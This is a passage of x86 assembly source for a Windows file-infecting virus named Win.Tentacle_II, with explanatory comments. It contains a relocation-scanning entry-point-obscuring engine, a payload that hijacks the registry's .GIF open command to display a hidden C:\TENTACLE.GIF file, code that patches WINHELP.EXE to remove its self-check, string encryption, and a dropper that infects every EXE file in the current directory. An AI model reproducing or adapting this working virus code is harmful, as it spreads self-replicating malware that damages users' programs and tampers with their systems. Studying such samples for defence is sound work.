pop dx ; restore DX (API function ordinal) pop ax ; restore AX (module index) JC end_EPO mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignemt shift push bp ; save BP (main data stack frame) sub sp,size EPO_stack_frame ; create new data buffer on stack mov bp,sp ; and set BP to it push cx ; save CX (alignemt shift) mov [bp.module_index],ax ; save module index mov [bp.API_ordinal],dx ; save API function ordinal mov ah,3Fh ; read entry code segment descriptor mov cx,8 ; size of a segment descriptor lea dx,[bp.entry_CS_offset] ; DS:DX=pointer to read buffer int 21h pop cx ; restore CX (alignment shift) JC EPO_failed xor edx,edx ; EDX=0 mov dx,[bp.entry_CS_offset] ; EDX=segment file offset (aligned) shl edx,cl ; EDX=segment file offset (in bytes) xor eax,eax ; EAX=0 mov ax,[bp.entry_CS_phys] ; EAX=segment physical size add edx,eax ; EDX=file offset of segment relocs mov [bp.entry_CS_relocs],edx; save it push edx ; CX:DX=EDX pop dx pop cx mov ax,4200h ; go to entry code segment relocations int 21h JC EPO_failed mov ah,3Fh ; read number of relocation items mov cx,2 ; read one word lea dx,[bp.relocs_number] ; DS:DX=pointer to read buffer int 21h JC EPO_failed xor ecx,ecx ; ECX=0 JMP check_if_all_relocs_done search_API_reference_loop: push cx ; save CX mov ah,3Fh ; read a relocation item mov cx,8 ; size of relocation item lea dx,[bp.reloc_type] ; DS:DX=ptr to read buffer int 21h pop cx JC EPO_failed mov eax,dword ptr [bp.module_index] ; EAX=module index and ; API ordinal cmp [bp.reloc_what],eax JNE check_next_reloc cmp word ptr [bp.reloc_type],103h ; check relocation type: must ; be 32bit far ptr and API ordinal JE found_API_reference check_next_reloc: inc cx check_if_all_relocs_done: cmp cx,[bp.relocs_number] JNE search_API_reference_loop JMP EPO_failed found_API_reference: mov edx,[bp.entry_CS_relocs] add edx,2 shl ecx,3 ; ECX=ECX*8 (size of a reloc item) add edx,ecx ; EDX=offset of reloc item in file mov eax,dword ptr [bp.module_index]; EAX=module index/API ordinal add sp,size EPO_stack_frame ; clear buffer from stack pop bp ; restore old stack frame pointer clc ; clear carry flag (indicate success) JMP end_EPO EPO_failed: add sp,size EPO_stack_frame ; clear buffer from stack pop bp stc ; set carry flag (indicate error) end_EPO: RET gif_body: include gif.inc ; the body of the gif file converted ; to DB instructions gif_body_size EQU ($ - offset gif_body) shell_open_command db "\SHELL\OPEN\COMMAND", 0 l_shell_open_command EQU ($ - offset shell_open_command) ; ----- PAYLOAD ------------------------------------------------------------- payload: push es ; save ES push bp ; save BP (main stack frame pointer) sub sp,size payload_stack_frame ; reserve room on stack mov bp,sp ; setup new stack frame push ax ; save AX (what to do flag) ;* push dword ptr 1 ; HKEY_CURRENT_USER db 66h,68h,1,0,0,0 ; fixup - byte match mov word ptr [bp.reg_buffer2],"G."; name of the subkey: ".GIF",0 mov dword ptr [bp.reg_buffer2+2],"FI" push ss ; push a far pointer to the name lea ax,[bp.reg_buffer2] ; of the subkey push ax push ss ; push a far pointer to the buffer lea ax,[bp.reg_buffer1] ; that will hold the return string push ax mov [bp.size_reg_buffer],40h; size of buffer for return string push ss ; push a far pointer to the lea ax,[bp.size_reg_buffer] ; dword that holds the size for the push ax ; return string CALL cs:RegQueryValue ; far call to the RegQueryValue API or ax,ax ; zero means success JZ RegQueryValue_success pop ax ; clear stack JMP exit_payload RegQueryValue_success: cmp byte ptr [bp.reg_buffer1],0; has it returned an empty string? JE try_shell_open_command push ss ; ES=SS pop es lea di,[bp.reg_buffer1] ; DI=offset retrun string cld ; clear direction flag xor al,al ; AL=0 mov cx,0FFFFh ; CX=maximal word repne scasb ; search for the end of the string dec di ; DI points now to the terminating 0 push ds ; save DS push cs ; DS=CS pop ds mov si,offset shell_open_command CALL decrypt_path ; decrypt & append it to the result ; of the RegQueryValue call pop ds ; restore DS CALL call_RegQueryValue or ax,ax ; zero means success pop ax ; restore AX (entry flag) JZ RegQueryValue_success2 try_shell_open_command: mov word ptr [bp.reg_buffer1],"G." mov dword ptr [bp.reg_buffer1+2],"FI" push ds ; save DS push cs ; DS=CS pop ds push ss ; ES=SS pop es mov si,offset shell_open_command lea di,[bp.reg_buffer1+4] ; Load effective addr mov cx,l_shell_open_command ; useless, the decrypt_path procedure ; gets the string length itself. CALL decrypt_path pop ds ; restore DS CALL call_RegQueryValue or ax,ax ; zero means success pop ax JNZ exit_payload RegQueryValue_success2: ; reg_buffer2 contains now the commandline of the program that is ; runned whenever the user doubleclics on a .GIF file or ax,ax ; check the entry flag in AX JZ restore_gif_commandline push ss ; ES=SS pop es lea di,[bp.reg_buffer2] ; DI=pointer to commandline connected ; with .GIF files push di ; save DI xor al,al ; AL=0 mov cx,0FFFFh ; CX=maximal word repne scasb ; search for the end of the string dec di ; DI points now to the terminating 0 mov ax,di ; AX=end of string pop di ; restore DI (start of string) sub ax,di ; AX=length of string mov cx,ax ; CX=length of string mov al,"%" ; search the commandline for where ; the name of the gif will be on ; program start cld ; clear direction flag repne scasb ; search for the % sign JNZ exit_payload ; if not found, exit payload cmp byte ptr [di],"1" ; is it the %1, like it has to be? JNE exit_payload ; if not, something is wrong cmp byte ptr [di-2],'"' ; is there the quotes sign? JNE dont_skip_quotes dec di ; if yes, skip it dont_skip_quotes: dec di ; go to the start of the first ; parameter in the commandline, the ; name of the .GIF file mov dword ptr [di+9],"G.EL" ; create there the "C:\TENTACLE.GIF" mov byte ptr [di],"C" ; string mov dword ptr [di+5],7E00FD39h mov dword ptr [di+0Dh],"FI" add dword ptr [di+5],0C5405715h mov dword ptr [di+1],"ET\:" push di ; save DI (offs of "C:\TENTACLE.GIF") CALL call_RegSetValue ; set the new value. ; from now on, everytimes the user doubleclicks on a gif file, it ; will only see C:\TENTACLE.GIF ;-) mov ah,3Ch ; create C:\TENTACLE.GIF file mov cx,7 ; readonly,hidden,system attributes pop dx ; DS:DX=ptr to filename to create ; ("C:\TENTACLE.GIF") int 21h JC exit_payload mov bx,ax ; handle to BX mov word ptr [bp.reg_buffer2+2],"8F" ; create GIF marker in the mov word ptr [bp.reg_buffer2+0],"IG" ; buffer ("GIF87a") mov word ptr [bp.reg_buffer2+4],"a7" mov ah,40h ; write GIF marker mov cx,6 ; size of gif marker lea dx,[bp.reg_buffer2] ; DS:DX=pointer to write buffer int 21h mov ah,40h ; write gif file body mov cx,gif_body_size ; size to write mov dx,offset gif_body ; DS:DX=pointer to write buffer push ds ; save DS push cs ; DS=CS pop ds int 21h pop ds ; restore DS mov ah,3Eh ; close file int 21h JMP exit_payload ; payload is done restore_gif_commandline: push ss ; ES=SS pop es lea di,[bp.reg_buffer2] ; DI=pointer to commandline connected ; with .GIF files cld ; clear direction flag push di ; save DI xor al,al ; AL=0 mov cx,0FFFFh ; CX=maximal word repne scasb ; search for the end of the string dec di ; DI points now to the terminating 0 mov ax,di ; AX=end of string pop di ; restore DI (start of string) sub ax,di ; AX=length of string add di,ax mov cx,ax ; CX=length of string mov al," " ; search for the blank std ; set direction flag repne scasb ; search for the end of the filename JNZ exit_payload ; if not found, exit add di,2 ; go to 1st param (file to display) cmp byte ptr [di],"C" ; is there "C:\TENTACLE.GIF" JNE exit_payload ; if not, there's nothing to restore cmp dword ptr [di+1],"ET\:" ; make really sure JNE exit_payload mov byte ptr [di],"%" ; restore the correct cmdline "%1" mov word ptr [di+1],"1" CALL call_RegSetValue ; set it. exit_payload: add sp,size payload_stack_frame ; free room on stack pop bp ; restore BP (main stack frame ptr) pop es ; restore ES RET call_RegQueryValue: ;* push dword ptr 1 ; HKEY_CURRENT_USER db 66h,68h,1,0,0,0 ; fixup - byte match push ss ; push a far pointer to the name lea ax,[bp.reg_buffer1] ; of the subkey push ax push ss ; push a far pointer to the buffer lea ax,[bp.reg_buffer2] ; that will hold the return string push ax mov [bp.size_reg_buffer],40h; size of buffer for return string push ss ; push a far pointer to the lea ax,[bp.size_reg_buffer] ; dword that holds the size for the push ax ; return string CALL cs:RegQueryValue ; far call to the RegQueryValue API RET call_RegSetValue: ;* push dword ptr 1 ; HKEY_CURRENT_USER db 66h,68h,1,0,0,0 ; fixup - byte match push ss ; push a far pointer to the name lea ax,[bp.reg_buffer1] ; of the subkey push ax ;* push dword ptr 0 ; REG_SZ (ASCIIZ string) db 66h,68h,1,0,0,0 ; fixup - byte match push ss ; push a far pointer to the buffer lea ax,[bp.reg_buffer2] ; that will hold the return string push ax ;* push dword ptr 0 ; size of value data db 66h,68h,0,0,0,0 ; fixup - byte match CALL cs:RegSetValue ; far call to the RegSetValue API RET ; ----- PATCH WINHELP ------------------------------------------------------- patch_winhelp: cmp word ptr [bp.rw_buffer+1Ch],2 ; number of segments JB exit_patch_winhelp ; it's not the WINHELP.EXE ; we know, don't patch it xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+22h] ; offset of segment table ; (relative to NE header) add eax,[bp.new_header_offs] ; now relative to file start ;* add eax,8 ; go to 2nd segment descriptor db 66h, 83h,0C0h, 08h ; fixup - byte match push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; set filepointer to the int 21h ; descriptor. mov ah,3Fh ; read the aligned segment file offset mov cx,2 ; read one word lea dx,[bp.tmp_buffer] ; DS:DX=pointer to read buffer int 21h xor eax,eax ; EAX=0 mov ax,word ptr [bp.tmp_buffer] ; EAX=aligned segment file offset mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift shl eax,cl ; EAX=segment file offset in bytes ;* add eax,22h ; go to offset 22h in 2nd segment db 66h,83h,0C0h,22h ; fixup - byte match push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; set filepointer to offset 22h in int 21h ; the second segment JC exit_patch_winhelp mov ah,3Fh ; read two bytes of program code mov cx,2 ; size to read lea dx,[bp.tmp_buffer] ; DS:DX=pointer to read buffer int 21h JC exit_patch_winhelp cmp word ptr [bp.tmp_buffer],1474h ; is it a JE $+16h ? JNE exit_patch_winhelp ; if not, it's not the WINHELP.EXE ; we know, don't patch it. mov ax,4201h ; set filepointer back to the ; conditional jmp mov cx,-1 ; CX:DX=-2 mov dx,-2 int 21h mov byte ptr [bp.tmp_buffer],0EBh ; a unconditional JMP SHORT mov ah,40h ; patch the file with the ; unconditional JMP mov cx,1 ; write one byte lea dx,[bp.tmp_buffer] ; DS:DX=pointer to the write buffer int 21h ; WINHELP.EXE now has no self-check ; any more ;-) exit_patch_winhelp: RET db 3 dup(0) ; maybe the author wanted the ; relocation addresses on an address ; divisible by 4 ? RegQueryValue dd 0000FFFFh RegSetValue dd 0000FFFFh org_entry dd 0000FFFFh virus_end: ; Most data of the virus is stored in a buffer on the stack. The following ; structure represents the lay-out of this stack frame: stack_frame struc dta db 2Bh dup(?) tmp_buffer db 10 dup(?) bytes_to_copy dd ? full_filename db 24 dup(?) full_filespec db 24 dup(?) tmp_filename db 16 dup(?) source_handle dw ? dest_handle dw ? file_date dw ? file_time dw ? file_size dd ? new_header_offs dd ? end_of_NE_hdr dd ? alignment_unit dd ? first_segm_offs dd ? new_sect_descr dw 4 dup(?) rw_buffer db 64 dup(?) dw ? our_reloc_offs dd ? module_ordinal dd ? new_entry_CS dw ? new_entry_IP dw ? stack_frame ends ; The data that is used in the EPO engine of the virus uses another stack ; frame that is represented in this structure: EPO_stack_frame struc entry_CS_offset dw ? entry_CS_phys dw ? entry_CS_flags dw ? entry_CS_virt dw ? reloc_type dw ? reloc_offs dw ? reloc_what dd ? module_index dw ? API_ordinal dw ? entry_CS_relocs dd ? relocs_number dw ? EPO_stack_frame ends ; Also the payload routine uses its own stack frame: payload_stack_frame struc reg_buffer1 db 40h dup(?) reg_buffer2 db 40h dup(?) size_reg_buffer dd ? payload_stack_frame ends first_gen_entry: push ds ; save DS pusha ; save all registers push ss ; DS=SS pop ds sub sp,size stack_frame ; reserve room on stack mov bp,sp ; setup stack frame mov ah,1Ah ; set DTA to DS:DX lea dx,[bp.dta] ; Load effective addr int 21h mov si, offset exe_wildcard ; encrypt all the strings in the call encrypt_wildcard ; virus by a simple inc/dec mov si, offset scr_wildcard ; algorithm call encrypt_wildcard mov si, offset C_win call encrypt_path mov si, offset C_windows call encrypt_path mov si, offset C_win31 call encrypt_path mov si, offset C_win311 call encrypt_path mov si, offset C_win95 call encrypt_path mov si, offset shell_open_command call encrypt_path mov bx,0FFFFh mov cx,offset empty_string mov dx,offset exe_wildcard CALL infect_directory ; infect all EXE files in current dir mov ah,9 mov dx,offset first_gen_message int 21h mov ax,4C00h int 21h first_gen_message db "Win.Tentacle_II virus dropped", 0Dh, 0Ah, "$" end first_gen_entry